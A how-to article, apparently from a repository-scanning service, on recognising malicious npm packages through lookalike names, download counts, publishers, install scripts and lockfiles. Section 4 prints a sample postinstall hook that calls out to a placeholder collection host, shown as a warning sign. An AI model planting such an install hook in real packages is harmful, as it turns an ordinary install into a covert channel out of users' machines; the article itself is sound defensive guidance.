How to tell if an npm package is malicious
By Doruk Kıno · · 4 min read
You are about to run npm install some-package and you pause: is this package safe? The vast majority of packages are perfectly fine. The real danger is a small number of malicious ones — usually a fake package with a name that looks like a popular one — and they are worth two minutes of checking because an npm package can run code on your machine the instant you install it.
In a hurry?
Double-check the exact spelling of the name, compare its weekly downloads to what you'd expect, and look at whether it has an install script. If anything feels off, don't install it on your main machine.
Why a package can be dangerous
When you install a package, npm can run install scripts it ships with — small commands that execute automatically, before you have used the package for anything. A malicious package uses that moment to steal credentials, open a backdoor, or install something else. So the question is both “is this the package I actually meant?” and “does it do something it shouldn't at install time?”
1. Check the name, letter by letter (typosquatting)
“Typosquatting” means publishing a package whose name is a near-copy of a popular one, hoping you mistype or copy it from a shady tutorial. A missing hyphen, a swapped letter, an extra word, or American vs British spelling are all common. Confirm you are installing the exact package you intended — ideally from the real project's own docs, not a random blog or chat message.
- Lookalike spelling.
crossenvinstead ofcross-env, orcolourinstead ofcolor. - Scoped vs unscoped. A fake unscoped name imitating a real scoped package (
@org/thing). - Copied description. The listing text is lifted word-for-word from the real package.
2. Compare downloads and publish date
Open the package's npm page and look at two numbers: weekly downloads and when it was published. A package that claims to be a popular library but has only a few hundred downloads, or that was first published a few days ago, is a warning sign. Real, widely-used packages have a long history and large, steady download counts.
3. Who publishes it, and does it link to a real project?
Check the maintainer and the repository link. A genuine package points to its official source repository and is published by the people who maintain that project. A typosquat often points to a fork, a personal copy, or no repository at all — and the publisher may be a brand-new account with no other work.
4. Read the install scripts
Look at the package's package.json for a scripts section — especially preinstall and postinstall. Most ordinary libraries do not need to run anything at install time, so an install script that downloads and runs something from the internet is a strong red flag.
"scripts": {
"postinstall": "node -e \"require('https').get('https://collect.example.invalid')\""
}A safer first install
If you want to try a package you are unsure about, install it without running its scripts: npm install --ignore-scripts — and do it inside a disposable virtual machine or container, not on the laptop that holds your keys and tokens.
5. Glance at the lockfile for surprises
Your package-lock.json (or yarn.lock / pnpm-lock.yaml) lists every dependency that will actually be installed, including the ones pulled in indirectly. If a package you never heard of appears there, or a familiar dependency suddenly jumps to an odd version, it is worth a closer look before you install.
Tools that help (and what they actually check)
A few free tools can do a lot of this for you. npm audit flags known security bugs, but note it reports ordinary vulnerabilities, not necessarily malware. Dedicated scanners look specifically for install-script and typosquatting risks. And GiTRay reads a repository's dependency files and checks them against a public database of known-malicious packages (OSV), without installing anything. If you are evaluating a whole GitHub project rather than a single package, that is the fastest first signal.
See how to check a whole GitHub repository, how GiTRay works, or the full list of checks.
Scan a repository now
Paste a public GitHub URL and GiTRay runs all of these checks in seconds — without cloning or running anything.
The bottom line
Most packages are safe; the rare dangerous one usually gives itself away with a lookalike name, a suspiciously low download count, a missing or fake repository, or an install script that reaches out to the internet. Check those, install unknown code in a sandbox, and lean on a scanner to do the tedious parts.